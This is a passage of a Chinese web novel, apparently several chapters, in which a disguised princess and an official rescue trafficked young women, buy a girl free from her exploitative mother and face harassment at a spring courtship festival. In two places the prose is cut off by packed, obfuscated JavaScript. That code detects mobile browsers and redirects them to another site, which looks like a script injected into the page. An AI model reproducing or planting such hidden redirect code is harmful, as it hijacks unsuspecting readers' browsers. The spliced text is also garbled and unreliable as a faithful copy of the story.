l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405642|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他国人与华纪皇城了。 城主有事出门的空隙,朝颜与娄卿旻又私下商议了一会儿,便想到一个声东击西的法子。 稷粮城可先假装向皇城运粮,路过燕国,而后神不知鬼不觉地在燕国装上粮食运回皇城,届时便可以假乱真,也隐瞒了此次军粮被盗的真相。也免得其他城池向稷粮城运粮而导致露出更大缺口的事情发生。 * 不知不觉外面已经昏天黑地,伸手不见五指。虽是已经入了春,还是有几分凉意。 几人拜别了城主便乘坐着马车赶往城中驿站歇息,车厢内部比起燕国所派的轿撵要窄几分,朝颜与关奂坐在同一侧,娄卿旻则自己坐在另一侧。 身下的软垫状似草席,有积分坚硬,面前是一盏忽明忽暗的青铜烛台用来照明。 马车驶过一处偏僻小院,车帘被一阵猛风掀开,朝颜随意向外看去,忽而瞥见院中行出一辆载满货物的马车。 深夜朦胧,四周漆黑一片,影子东倒西歪,有几个上上下下,还在活动,若不仔细看根本看不出车上所装之物为何。 几个影子让朝颜有几分好奇,而后仔细端详,大吃一惊,所谓货物,竟有几分像人的身影! 定睛一看,还真的是人! 是一车年轻貌美、身材姣好的妙龄女子。 至于方才所见的“货物”则是圆圆的头颅下面的瘦弱臂膀,东倒西歪的影子也是因为她们被捂住口舌,强烈挣扎。 其中一人似乎察觉到朝颜的目光,向她这边看过来,眼中带着十分可怜的恳求之意,月色倒映下,她用尽全身力气摇头希望有人能注意到她,而白皙面颊上流下的泪水痕迹,半干半湿,让人看后十分难受,心中渐起不忍。 同为女子,自己坐在权势为主的摇篮中,即将奔赴温暖惬意的客舍,而她们却坐在掌管后半生命运的牢笼中,不知要去往何处。 朝颜满目疑惑,鼻头涌上酸涩,随即大声朝她们的马车喊了停,结果对方的车却越跑越快。 见此,娄卿旻立刻吩咐马夫追上去。朝颜见关奂一脸蠢蠢欲动的神情,便猜出她知晓事情的真相,着急忙慌地问出口:“你是不是知道她们要被拉去何处?” 关奂先是沉默,垂眸。 过了片刻才解释:“她们是不被爹娘喜爱的女孩,自幼便没有被寄予厚望。在这食不饱穿不暖的乱世中,我们对家人最好的回报便是换些粮食衣物和银子了。至于被发卖到何处,后半生如何,他们才不会在意。” 朝颜反驳:“可大家都是活生生的人,不是物品,为何要被买卖交换?” 关奂摇摇头,又道:“贵人一看便锦衣玉食,自小生活在富贵人家中,殊不知偏僻村落的规矩便是如此。” 规矩……这是什么怪异的规矩,又是何人定下的? 朝颜偏过头看向少女,眸中尽是担忧,轻声追问:“她们的结局会如何?” “为奴为婢。” “或是被卖到旁人家成为妻母帮他们传宗接代。”关奂自小便见过许多诸如此类的画面,答话时语气也带着一丝无奈,她自知这些少女凭自己的力量是无法挣扎的,只能在心里默默惋惜。 她甚至想,若非她逃了出去,结局也与她们一样。 关奂话音落后,车厢瞬间安静,很长时间都无人再开口。 “殿下可是想救她们?”一侧沉默许久的娄卿旻忽然打破这寂静的夜。 57. 稷粮之乱(五) “殿下可是想救她们?” 听到娄卿旻此言,朝颜迅速点头回应他,她确实想救她们,不忍心眼睁睁看着她们被当作货物交来换去,脸自己的将来都不能由自己决定,实在令人唏嘘。 但眼下他们出门在外,本就不便插手外事。 几人唯一从姜宣同手上的财宝也已经被当成银子,变为百姓们的统粮钱。 偏偏华纪并未有明文律法规定不允许贩卖少女,故而他们不能利用职务之便去威胁那些买卖人口的商贩,无法救她们。 见娄卿旻面上带着些许神秘,朝颜那双酷似桃花的双眸顿时闪过一片星光,认真问男人,“莫非大人有办法?” “……” 那辆马车越行越远,朝颜等人的马车也掉了个头跟上了去。 半注香时辰后,两队人马一齐抵达一处偏僻的驿站,少女们被困在车架里无法行动,只能人挤人,互相抱团取暖。 商贩谨慎,将四周布满护卫,十分森严。 眼见无法接近,娄卿旻等人也扮做路人入住驿站,以便监视他们。 几人进了厢房,娄卿旻便将想好的法子与朝颜二人一一说清,朝颜听完垂首若有所思一阵,视线撞入男人精明又令人心安的眼神,突然清醒,道出疑问:“大人的法子可谓一举两得,但那些人会信么?” “对付非常之人,必然要用些非常手段。” * 翌日卯时一刻,朝颜便特意为自己则置办了一身价值不菲的新衣,换上后便带着关奂一起拿着娄卿旻连夜赶制的契约敲响了那个监管女子商人的房门,与其做了一笔交易。 知晓这些女子无处可去,被卖到高官显贵府中免不了受苦受难,有些或许还要备受白眼,二人便帮她们想到一个好去处。 那日入城之时,他层见到一家快要闭店关门的酒肆,客人也是寥寥无几。娄卿旻昨夜便想着用职务之便朝城主大人禀明此事,并将酒肆租赁下来,改名群芳阁,届时救下的女子一部分在酒肆中打杂做零工,剩下的人则可以卖艺为生招揽生意赚钱生存。 他特意开出条件,若那商贩同意,便将其算作群芳阁中少半的出资东家。日后酒肆营收的银钱,可以与他们分摊一部分。 如此长久持续获利的买卖可比一次性买卖奴隶要赚得多。 商人最是重利,也最精明,不出意外,他们定受不住诱惑。 朝颜二人敲门进去后,客气打了招呼,他们正准备离开。 也是因为他们见朝颜模样清秀白皙,便摆起架子态度强硬,因没参与过此等买卖为由拒绝,不买账。 朝颜见状转身便走,不给他们思考的余地。 哪料商人半途反悔,看出朝颜衣着不凡,又将她追了回来。 想来是考虑了前因后果,将这两种买卖获益多少算计了一番。 计谋得逞,朝颜把契约取出让其签字画押,红润的唇角在他们看不见的地方缓缓勾起,露出一抹极妙的笑。至于后期盈利多少,瓜分多少,那都是后话,眼下将这些女子及时救下才是最重要的。 方才那招也是她从娄卿旻那里学来的心理战术,专门攻克这类贪欲心强的人。 满车女子被救下时,其中几个胆小的早已泪流满面。 朝颜负责将事情的来龙去脉与她们说了明白,众人无一不答应。她们都是被亲人伤透了心的人,也知晓除此之外别无他法、无处可去,更是不愿再回到从前家中再被发卖她们的人利用干净。 其中几位年纪尚小的人认出朝颜身后所跟之人是关奂。以为是她找人救下她们的,便跑上前来,一个拉着关奂的左手,一个拉着关奂的衣角,诉说着姐妹情深。 关奂一时招架不住,忙走到朝颜身侧,将女子们引过来后红着脸解释:“是这位公子救了你们,不是我救你们。”眼下朝颜扮着男装,身上不自觉流露出一股尊贵与英气。 “多亏了女公子您,若不然我早就被发卖出去,再也见不到我儿了。”其中一位十分貌美的年长女子在关奂说清楚朝颜是真正的救命恩人后,态度也亲切起来,送那些少女离开后便悄悄俯身在朝颜耳侧,说穿她的身份。 朝颜能看出眼前女人是这群人中最理智最冷静的一个,她一直没哭,直到如今被救下,眼眶才逐渐泛红,说完便一股脑地后退,腾出空地便想给朝颜下跪。 朝颜及时跑过去拉住她的双手,对她微微一笑,“想必姑娘年龄高我一些,那我便失礼叫你一声姐姐。苦难已经过去,往后一定要好好活着,才不枉人间走这一遭。” 女人听后频频点头,眼里满是敬佩。 朝颜同样以欣赏的目光回应着她,她知晓此时此刻,得到一个已经被重伤、破碎失望的人的信任是多么不易。 远处忽然传来一声略带英气的少年呼叫:“娘!” 顺势看去,只见一个相貌神似眼前女子的少年朝这边奔来。 他身穿浅灰色麻布长袍,身形高挑,模样清新俊逸,若不仔细看,便看不出他面上的器宇不凡。而唯一不足的是,他身下衣角处缝缝补补的几处口子将其贫寒的家境暴露得一干二净。 他穿过人群,朝女子身侧而去,最后拉着女子的衣袖,二人微微贴在一处。 朝颜起初还以为二人是姐弟,不过联想到少年方才的称呼,她恍然大悟,眼前这个少年应是那名年长女子方才口中的儿子。 女子看向少年的眉眼尽是温柔,她慢慢揽过少年的肩膀,将其拉到朝颜面前,笑道:“大恩不言谢,若贵人不嫌,我愿意让我儿跟着贵人保护您,他自小力气便比旁人大,对舞刀弄枪感兴趣,经常在家中自己乱挥,我看着还挺有样子的。若您同意,我愿将他送给贵人,也算是让他讨份差事,报答贵人的救命之情了。” 话毕,朝颜抬眸直视着少年。 他鼻梁坚.挺,面容俊秀,身量比自己高半个头,浑身散发着一股年轻气盛,我不好惹的气息,有几分眼熟,但朝颜确信自己两世以来,并不识得这个年纪的人。 而少年听完自己娘亲说要将自己送给一个陌生人下一刻,眉头骤然紧蹙,眼底闪过一丝不服,板着脸扭过身子躲向一侧。 他余光瞥过对方清瘦的身形,鼻尖露出一丝轻蔑。 他可不想跟着一个如此柔弱不堪的主子。 少年总归稚嫩,不会隐藏心绪,更不会伪装。 朝颜一眼便察觉他的反抗心绪,随之摆手摇头拒绝:“我看不必了姐姐。” “想必他也不会愿意跟着我,万事都寻求个缘分,既然无缘,我也不愿强迫,就让他随着自己的心意而活,想做什么便做什么,想跟着谁就跟着谁吧。” 话毕,少年嗖的一下便丢下二人跑走了。 朝颜又多看了他的背影几眼。 她还是觉得这副清朗的眉眼很熟悉,但她一时半会儿还真的想不起来在哪里见过,脑子传出一阵微弱的阵痛,她半阖眼眸,抬手抚了抚,定是昨夜太过忧虑此事没睡好觉,今日脑子都有些乱。 她深深呼出一口气,按照娄卿旻的法子将众人一一安排到他租下的酒肆后,便离开了。 昨夜暂居那处驿站只是为了救人,人已救下,他们今日便又寻了城主为他们准备的馆驿去,救下那些命苦之人后,朝颜心中大石落地,慢悠悠地与关奂一同在主街上边走边观赏两侧的商贩。 临近驿站,忽然听见远处一阵咚咚的脚步声,可以听出是个重量级人物。 紧接着一道粗狂又泼辣的嗓音不经人同意便钻入人耳中:“关奂,你给老娘站住!我看你这次往哪里跑!” “好啊!总算逮住你了,我说怎么王家的三女儿一回家就到处夸你救了她们,感情你是私自偷了我的银子去救做好人好事了?” “小贱蹄子,看我怎么收拾你!”她边喊边跑,气喘吁吁。 关奂扭头一看认出来人,看着对方朝自己袭来的拳头,迅速向后弯腰一闪,躲过妇人的动作,后尖叫出声,反驳她前一句话:“你撒谎!那是我自己辛苦劳作得来的,哪里是偷的你的?更何况你的银子早就被你儿拿去花了,我根本没东西可偷!” “你还敢顶嘴,真是翅膀硬了,今日回去不打你个半死,我就不是你娘!” 妇人还想追,就在关键时刻,一道清丽的声音突兀地打断二人的争执:“站住!” 朝颜挺身而出站在关奂前面,随即身后几个娄卿旻派来的护卫从暗处齐整出现,帮她挡着刻薄的母亲。朝颜气愤看着妇人,语气冰冷:“她没偷你的,我可以为她作证。” 妇人看着挡在关奂身前的几个男人,心下一怵,忙后退一步,满脸警惕看着他们,眉毛也皱成一团,过了一会,半抿着唇道:“你又是哪位?我们自己家里的事轮不道一个外来人插嘴!甭管你是什么贵人都没用!” “你不要以为你人多我就怕你,要是你们敢对我动手,我马上去官府告你们!仗着人多就欺负我这个穷苦百姓。” 听到妇人说出这些话,朝颜眉头微挑,心道她还不算无知。 不过她不想放过妇人,讥讽道:“眼下是夫人想欺负关奂在先,我们只是站在这儿而已,哪里就是欺负百姓了?” “你……”妇人指着朝颜想骂,眼睛一转,忌惮护卫的威严,最后半个字都不敢说。 “母亲。” 一道男声突然闯入,看热闹不嫌事大的众人同时扭头看去,便见妇人身后缓缓走出一年轻男子,长得一副轻浮模样,像是常年流连花丛,及其风流。 他走进闹剧中朝着朝颜的方向看了许久,经验使他几眼便认出朝颜是女扮男装,而后直接邪魅一笑,一边用审视的目光打量朝颜,一边追问自家娘道:“不知这位是?” “将你姐拐走的人!一个黄毛丫头竟如此不懂得尊重长辈!” 她故意将‘丫头’二字咬得紧紧的,心中很是不服气。似乎在她眼中朝颜这样年纪尚幼的人不能以高姿态与她说话。 “这位夫人。”朝颜没理会她话语的不平,清亮地唤妇人一声,严肃道:“我只问一句。” “你究竟要怎样才能放她离开?” 要怎样才能放她离开? 对方问得太直白,妇人听后一愣,豆大的眼睛半眯在一起,胸间算计了一番。片刻后,她向朝颜的方向瞥去,唇角扯出一丝虚伪的悲伤,“离开?你在胡说八道什么?” “我把她养这么大她都没为我做过半点贡献,我为什么要放她离开?” 妇人翻脸不认人,一句话便将关奂曾经做过的家事农活与上交给她的补贴全盘否认。似乎在她眼中,不将女儿榨干到一滴价值都不剩便不罢休。 早料到她会如此,朝颜不多与她解释,直截了当地说:“若是我要出重金赎下她呢?如此可行?” 似乎是未料到朝颜此话,妇人愣神在那,思考了好一会儿,便狮子大开口道:“那我要二百两白银!” “可以。” 朝颜近乎未加思考便答应了。 四周围观者纷纷吸了一口凉气,恨不得此事是他们所遇。 见状关母却扭过头暗自呸了一小下,故作良母之姿,一把挽上关奂的手臂,道:“你瞎答应什么!我这可不是卖女儿,你想想她要是嫁到富贵人家给他们当仆人,可不仅仅给我赚到二百两!” 关母明显还想讨价还价,见朝颜方才答应得爽快,便准备多向人要一些。 但周围人都心知肚明,二百两是多么大的数字 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朝颜有些不悦,忆起关奂先前所说的事,猜出少年时家中最宝贵的“弟弟”。神情冷漠至极,立刻收回目光,视线转到妇人身上,话语中有几分威胁的意味:“夫人莫要得了便宜还不知进退,人心不足蛇吞象,小心竹篮打水最后什么都得不到。” 话音落下。 原本在二人身后的少年悠悠走到关母身前,话语中带着几分训诫的味道,背对朝颜,面对关母,使劲儿跟她使眼色道:“娘,你真是老糊涂了,怎么能这么跟贵人说话,太过粗鲁。” 谁知关母正在气头上,一下就被惹怒了,怒目圆睁,推搡了少年一下,“你干什么!” “你骂娘老糊涂?你知不知道我这么多年所作所为都是为了谁啊?” “还不都是为了你?你今日怎么了?脑子读书读糊涂了,还替你姐说话?”关母后退一步将关奂松开,转而扭到少年这边,恼怒地拍了一下他的臂膀,眼中尽是不满。 她十分疑惑,也很纳闷。 明明往日里自家这儿子骂他姐比她骂的还难听,今日似乎是转了性子,居然替他姐说话。 不过她又想到自家儿子是个好面子的人,就喜欢在外人面前逞强,装作很厉害的模样,便也没继续拆穿他。 她好歹是比眼前人们多吃了几十年的盐,眼睛瞟过来看过去,一下便看出自家儿子对那少女的爱慕之情了。她撇撇嘴,一副恨铁不成钢的模样盯着他看了几眼,转身便甩手走向朝颜这边。 她改了话:“我可以把她卖给你,就方才那个价,你先付我一半定金,剩下的等过了仲春之会你凑够了再送来,但我可丑话在前,少一个子儿都不行。等你什么时候把银子准备好我再让她跟你走,她最近几日就只能在我这里,免得你们带她跑了,那我辛苦养她这么多年可亏大了!” 朝颜虽不知何为仲春之会,但怕人反悔便直接接话道:“可以,但我也有条件。” “为避免夫人反悔,夫人要将她的照身帖先交出来,不然我也不放心,万一你转手再把她卖给旁人,我也得不偿失。另外她这几日可以住在你那,但我不希望到时看到她身上多一道伤痕,就这两个条件,若你不应,我便不买了,我保证,全稷粮城也找不出第二个出得起这个价的人。” “不过我还是要提醒你一句,我要的人,也绝不会有第二个人敢出价。”朝颜话语十分霸道,也将关母别的念头彻底打消了。 “你、你……”关母明显已经气急败坏,她在心底暗暗发誓回去好好打关奂一顿的想法破灭,怒火快要烧到心上。 殊不知朝颜只是以彼之道。 最终还是关奂的弟弟站了出来,打破僵局。说马上回家中将关奂的照身帖取来,这场闹剧才告一段落。 经此事后,朝颜也看出关奂的弟弟倒也不是完全不是人,至少他此次真的将关奂的照身帖送到驿站。 拿到照身帖,朝颜对关奂的弟弟表示感谢。而后得到一句十分客套的话:“不必客气,我也是想姐姐可以有个好前程。她前半辈子在我们家受太多苦了,希望日后女公子能待她好一些,我在此谢谢女公子了。” 虽不知他所言有几分真假,但他的态度还算得上有礼。 关奂眼下不在此处,若是她亲眼看见自家弟弟伪装得这一副小绵羊的模样,定会难以言表,令人作呕得快要吐出来。 门口接下照身帖这一幕被驿站二楼上观望的男人尽收眼底,面色微沉。 朝颜抬眸见到男子的身影,便上楼与他讲述了今日发生的所有事,她特意隐去对关奂弟弟的一部分,也是怕娄卿旻又会说她不在乎自己的名声。 哪知娄卿旻在她话音落下后,微咳一声,主动道破:“殿下日后莫要再与那样虚伪的人打交道。” 想要隐瞒的事被戳穿,朝颜窘迫不已,早知道所有人的一举一动都在娄卿旻掌控中,自己偏偏还要故意撒谎,眼下真真是有些此地无银。 后又听男人解释:“臣远远便看出他身上透着邪气,他不是什么良善之人,殿下要对此人留个心眼。” “好。” 夜色将近,这边的暮商与槐夏二人也终于有了消息。 训练有素的暮商透过娄卿旻留下的信号顺利找到驿站,将槐夏带到朝颜面前。 经过槐夏一番讲述,朝颜这才知晓二人路上迷路所以耽误了时间,晚来了一日,见二人衣衫有几分泥泞,便连忙让槐夏去医者那检查一番,听见她完好无损后,才放下责怪暮商的想法。 奔波了几日,朝颜便也没让槐夏服侍自己,吩咐她好好休息,自己便回了房。 58. 稷粮之乱(六) 湖光山色,春意阑珊,广阔无垠的山间显现出一道倩影。 缭绕云雾被风拨散,女人一袭淡蓝色曲裾静立在湖边,手中牵着一个不过膝盖之处的幼童,面容惆怅,身形憔悴,唇角带着一抹笑。 那抹笑不是发自内心的喜悦,而是疲惫不堪的愁容。 他上过战场,曾见过许多将死的士兵,他们脸上也是如此一种模样,一种名为认命的心绪。 他之所以能如此清晰明白地分辨女人面上情绪,是因为他曾在女子身上见过她真正快乐时的模样,绝不是眼前这般。 这幅画面表面风平浪静,内地却暗流涌动。 寂静之地,远处忽然闪出一个男人,手握长剑朝女子刺去,女子却并未闪躲,任由利刃穿破胸膛,鲜血顺着衣襟流下,满地的绿草尽数被染红,时间仿佛静止。 随着噗呲一声,男人拔剑,她吃痛闷哼,全无反抗,双目空洞地看向一个方向,最后缓缓闭上双眼,倒在血泊中,断了气。 那张脸落地,正式成熟后的朝颜。 “殿下!”娄卿旻吃惊大呼,伸手想去拉她,入手却抓住一片空,登时心乱如麻。 下一刻,画面一转,转到华纪皇城,横尸遍野、血淋淋的场景浮现在眼前,他被吓了一瞬,骤然睁眼。 入目漆黑一片,只有窗缝透进的几丝月光,随口呼出的气息在暗夜中化为雾气。 心跳快得异于往常,额上冷汗频频滑落,后背一冷,娄卿旻逐渐清醒。 原来方才所见的一切都是梦。 可那梦中的人事物都是那样清晰又鲜活,仿佛他身临其境,亲身经历过一般。 他清楚记得梦中女子那张脸。 是朝颜。 只是她身上所穿是他不熟悉的衣着打扮,满面愁容的神态亦是他这半年来未曾见过的。 娄卿旻满心疑虑,不知自己为何会做这样奇怪的梦。 梦里的朝颜被人刺杀,惨死在异国他乡,还不被妥当安葬,被人草草丢在水中,实属悲惨。 最令他震惊的便是,他引以为傲,终身效忠的华纪也被人灭了国。 还有那个人,那个男人。 那个他看不清面容的男人,是华纪被灭的最后推手。 他到底是谁? 娄卿旻仔细回想,脑海中只有半个模糊不清的轮廓,很陌生。 那人的身份成了谜。 经此一梦,娄卿旻思虑更重,暗暗下定决心不论如何都要调查清楚。 不论是梦还是未卜先知,他不敢有丝毫懈怠,为了华纪,他必须打起十二分警惕,掘地三尺也要找到那人! * 时光飞逝,天气愈发暖和,拜别了寒凉的冬日,迎来了春意盎然。 娄卿旻将统粮钱与城主一齐派发完毕,便收到皇城的信,意料之中,信中所言是新一年的军粮该上交了,见状他便马不停蹄地安排了车队向燕国赶去。期间还为燕融修书一封,告知他事情的来龙去脉与解决办法。 他直截了当地拿自己与朝颜的答谢礼与燕融做交换,换了上百车粮食。 料到君王不会轻易松口,他便自主主张向其承诺了一些附加条件,譬如来日燕国陷入水火,定会鼎力相救诸如此类的事。 一切似乎尘埃落定,日子也在慢慢流过。 群芳阁之事已经提上日程,娄卿旻与城主商议买下城中一座二层楼的酒肆为女子提供赚钱之道,位置就在城中西边最中间。 那里来来往往,富贵子弟众多,生意必定不错,如此也帮稷粮城承担了些上交华纪的赋税。 紧接着便是为女子们做做思想功课,早日开始自力更生。其中有些女子并未从心底完全接受自己未来的去向,娄卿旻也不急,一直等她们做好准备,哪知这一等便是半个月…… 仲春之会即将来临。 朝颜一边准备将关奂赎来的银钱,一边为群芳阁女子们的事忙里忙外,日日往外跑没有半刻停歇。 这日,朝颜正在为群芳阁开业之事做准备,便听见槐夏禀报娄卿旻造访。 朝颜让人进门,不多时便见男人撩着淡青色长袍的下摆迈入门槛,进来入座。 “后日便是与关母约好的仲春之会,殿下是否要提前赎回关奂?”他问。 朝颜不知何为仲春之会,但听娄卿旻言外之意,好似不能让关奂多在关家留到仲春之会后,她很是纳闷,让其讲个明白,随即娄卿旻便在一侧缓缓道了一句:“仲春之月,令会男女。于是时也,奔者不禁……” 经过他一番解释,朝颜这才知道稷粮城有一个不为外人所知的风俗,便是每年二月有个仲春之会,这是一场适龄婚配男女必须参加的宴集。 那日没有夜禁,众人可以随意在街上约会游玩,是一年里轻易遇不到的乐事。 但唯一让人反感的是,这一日若互相看对眼了,便能不经三书六聘直接与之行夫妻之礼。 娄卿旻说完那句话后面上逐渐多了丝绯红,而朝颜听完却十分哑然,她微微皱眉,表示不解。想到关母那日得逞的模样,心间便泛起一股不适。 这个集会听着好玩,但仔细一想,貌似有些强行匹配的感觉,甚至不该存在。 朝颜本是不想参与此事,毕竟自己已是待嫁之身,再参与此事撞上旁人怕是不合规矩。 但她一想到关奂或许会被她娘亲逼着去,她便忧心忡忡,等不及过了这日,与娄卿旻商议了番,二人便约好仲春之会那日一同去关奂家中将她救出,让她快些逃离那吃人的龙潭虎穴,省得关母再生出什么幺蛾子。 * 转眼便到了仲春之日,内城街道到处洋溢着欢声笑语,街上女子尽数蒙着面纱,男子则是带着半扇面具,只漏出下半张脸。人人身上都透露着一股若隐若现的朦胧之美。 此时仅仅是白日,便如此暧昧不堪,若是到了夜里,加上那模糊不清、影影绰绰的感觉,定是乱作一团。 朝颜与娄卿旻解决了手上的杂事便马不停蹄地驱车赶去关奂家中,关母见到二人后满面不喜,朝颜不理会她,将剩下的银子全部付清,才见到关奂。 少女明显比分离那日模样清瘦多了,定是受了不少苦。朝颜瞪了关母一眼,而后拉着关奂上下前后将其检查了好几遍,见她没有皮外伤才放过关母带人离开。 几人出门后,关奂伸开手臂放松,长长呼出一口气,似是将这些年来积压在心中的郁气全部排出。 她脸上露出久违的欣喜。 三人一路同行坐着马车入了城中主街。 不知不觉已经入暮,天色渐暗,原本宽敞的街道此刻已经人满为患,马车无法顺利前行,几人便只能顺着人群慢悠悠地走回去。 来时街上还没这样多的人,三人一起并肩而行,朝颜在最中间,鼻尖涌入淡淡的花香气息,低头一看,才见到每人手中都攥着一支粉白色杏花,开得正盛。 朝颜与娄卿旻二人今日衣着虽低调, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405644|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但在众人中,气质确十分独特,两张惊为天人的容貌轻而易举便获得了众人的目光。 几个男子相伴而行,口中说了几句污言秽语,其中还有强撸良家少女的意思,朝颜终是忍不住停步,转移注意力般开口问关奂:“为何他们每个人手上都有一枝花?” 被关在柴房里已经不吃不喝好几日的关奂在接触到人群后,脸色才渐渐好了些,听到她的疑问便清清嗓子在一侧解释: “今夜是个特殊的日子,若看上谁便将手中花枝塞到那人手中,那人不得拒绝,要与人约会,有时强制将人掳走也无人会管。从前类似的事发生过不少,但因是寻常百姓家的女子,无权无势,上报官府也无人在意,因为作恶之人大部分都是有几分地位的人,平民女子便更得不到官府的庇护。” 女子们无法反抗甚至反抗无果,长此以往,无人在意受伤的人,只让获取利益的权势欢呼。 而那些被掳走的人最好的结局也是被迫嫁给将其掳走的罪魁祸首。 所以后来一些女子不愿出门就把自己锁在家里保平安。 而另外一半人便被教化成十分随意的木头人,年年参与仲春之会这样伤风败俗的事。 这也是关奂不喜欢这座城池而想逃离的缘由之一。 虽说平日稷粮城并未繁华到可以与皇城媲美的地步,但对百姓也是很不错的,唯一不好的便是对女子的照拂太少,甚至没有,所以关奂想逃离这个吃人不吐骨头的地方。 立誓若日后学成归来,可为这座城池的其他女子谋求个更好的生活。 关奂从前年幼,关母深知其中水深,从不让她参与仲春之会,为的就是想将她卖个好价钱。今日一早便想将她从柴房里放出来,计划着将她随意许给一个男人共度一夜,届时她再从中捞一笔。 只不过关奂装晕逃过一劫,关母也是未料到朝颜二人会提前来接她离开,才那副模样。 主街人多眼杂,不想太惹人注意,朝颜还是决定买个面纱遮住脸,而后与关奂手搭着手向前寻着摊位,买了面纱与面具。 而等朝颜二人装扮完成后,扭头一看才知道娄卿旻未跟上来,这时已经是一炷香时辰后。 她正欲去寻人,不料眼前忽然一大批带着面具的男人走过来,硬生生将关奂挤到一边去。事情发生太过突然,朝颜还未反应,又闻啪嗒一声,银钱清脆的落地声,她顺着声音垂眸看去,才发现是自己平日经常佩戴的香囊。 她弯腰拾起来,才发现香囊上沾了灰,小心翼翼打开一看,提着的心也落了下来。 还好,那枚压胜钱还完好无损地待在里面。 毕竟是娄卿旻赠与她的,她不好就这样丢掉或者弄坏。 只是她做完这些再抬头寻人,关奂也没了身影。 四周如狼似虎的眼神太多太杂,朝颜努力低头将自己隐蔽起来,转身便向男子少的地方走去,一路上许多男子朝她投来示好的目光,其中几人拿着杏花便要塞给她,朝颜脚下像生了烟,速度极快。 好在他们好色,不一会儿便被其他女子吸引走目光,朝颜则趁机离开。 她找人找得心急如焚,异常后悔自己方才不当心些,与他二人都走散。眼下进退两难,周围男子饥渴的眼神简直让她恐惧到不知如何应对,恨不得找个地方钻进去躲起来,但四下无处可藏。 “女公子!好巧,竟真的是你!”熟悉的男声传入朝颜耳中,紧接着被人拉住了衣袖。 …… 59. 临别前夕(一) 集市上人多眼杂,手脚也不干净,娄卿旻寻面具的功夫身上的钱袋便被人顺走了,他回头寻盗贼无果,原本在前面带路的两人便窜入人群中,不见踪迹。 娄卿旻冷脸前行,不知过了多久,前行的路忽然被一群女子围住,对方人多,瞬时便将他挡在最中间动不了半步。 出类拔萃的容貌不经遮掩,一群女子虎视眈眈,紧盯着他不放。 其中一个大胆的女子最先开口,走到他身前,细声调侃道:“这位郎君看着英武不凡,模样俊美,家中可有婚配?若没有,今夜可不可以与我共度良宵?” 说着她的手便已经快要伸到男人的衣袖边,娄卿旻在对方伸手碰到他之前迅速后退一步拉开距离。怕女人得寸进尺,他眼眸微转,想了个借口:“抱歉,在下已有夫人,我们走散了,在下正在寻她。” “夫人?” “什么夫人?”那女子吃惊呼喊出声,咿呀咿呀几声后极其招摇地左顾右盼转了一圈又回到娄卿旻面前,眨着魅惑人心的眼眸,道:“她在哪儿啊?” “大人一定是记错了!妾才是你要找的夫人~”说着女子便扭着纤腰向娄卿旻身上靠过来。 娄卿旻见好言相劝无法赶走眼前人,一个伸手,冷剑越过宽袍大袖刹时挡在身前,此刻的他眼神冰冷,语气渗人:“姑娘自重,在下没开玩笑。若再靠近一步,出现在你面前的便不是剑柄了。” “夫人与我走散了,我要去寻她,烦请各位让开。”娄卿旻初次见这样的场面,身为女子行为举止竟如此大胆,简直不成体统,来软的不行,他只能威胁。 女子惜命,终是害怕地后退几步,叹气道:“算了算了,这么凶,无趣,公子去找你的夫人吧,我可不敢多与你说半句话。” 一侧的姐妹也替她说话,冷嘲热讽:“瞧他这冷酷的模样,也不知他夫人如何受得了他。” “不是我吹牛,要他这样的搁我这儿,早把他收拾得服服帖帖,让他见了女人不敢多说半个字……” “得了吧你,你要是有这样的男人,怕是祖上烧了高香!”话音落下引来一阵哄笑。 女子们打量的视线还未收回,她们似乎心有灵犀,都知晓男人这俊俏的容颜与挺拔的身姿定是出身高贵,所以才想过来引诱一番为自己寻个好归宿,哪知对方已有家室还如此专情又冷漠,见人碰了壁,其他女子便也不敢再造次。 娄卿旻并未在意她们的调笑戏弄,冷漠的眼神穿梭在人群中,仔细寻找那个熟悉的倩影…… * 朝颜身边有少年相随,众人便觉得她名花有主,自然也让她躲过许多男人的纠缠,跟着关奂弟弟走到很远的地方,边走边搜寻娄卿旻的身影。 直到二人离人群越来越远,所走之地逐渐变暗,朝颜才意识到不对劲。 脑海闪过娄卿旻先前的话,她浑身绷紧,警惕之心竖起。 果不其然,下一秒,关奚本性暴露,忽然拉着她的胳膊就要把她往怀中拽,真面目露出,唇角绽开一抹诡异的邪笑:“女公子,我们相识一场也算是朋友了。可以敞开心扉互相坦白了吧?” “实话实说,我早就看出你与那男子不是真夫妻了,他那样不懂冷暖之人充其量只能当女公子的护卫,哪里配得上仙子你?若你愿意,我也能保护你,陪在你身边,保证不让旁的男人靠近你分毫。而不是他这样,把你扔在一边,自己跟别的女人快活去!”少年一股脑地将自己心中臆测说了出来。 “更何况我还没问仙子姐姐把我那汉子一样的长姐买去是想做什么?莫不是计划着引起我的注意?” 朝颜闻言一阵厌恶涌上心头,故意不搭话,转身便跑。 关奚身为男子,身上有几分练家子功夫,跑得速度很快,不一会便追上朝颜。 趁其不备一把拉过朝颜的手臂,强势扯她入怀。语气气喘吁吁地:“从初见仙子那日起,我便觉得仙子目光一直在我身上,仙子姐姐一定也很爱慕我吧?你就跟了我吧!我保证好好待你!” 朝颜被迫弯下了腰,紧紧皱着眉头反抗,全身力气汇聚在手臂关节处用力向后一捣,关奚的胸膛一阵疼痛,他似是没料到朝颜有如此蛮力,被打得蒙了头,他松开禁锢着朝颜的手,紧紧捂住胸口舒缓气息,朝颜便趁机甩袖挣扎了出来,面具也被甩下。 她向后退了好多步,怒目圆睁,狠狠瞪着他,“关奚!你疯了?你在胡言乱语什么?” 什么为了他,什么目光在他身上,什么娄卿旻跟别的人快活? 这人简直是中邪了,神志不清,乱七八糟说一些没头脑又自私自大的话。 “看,仙子居然记得我的名讳。”关奚对朝颜唤出他的名字很是骄傲。 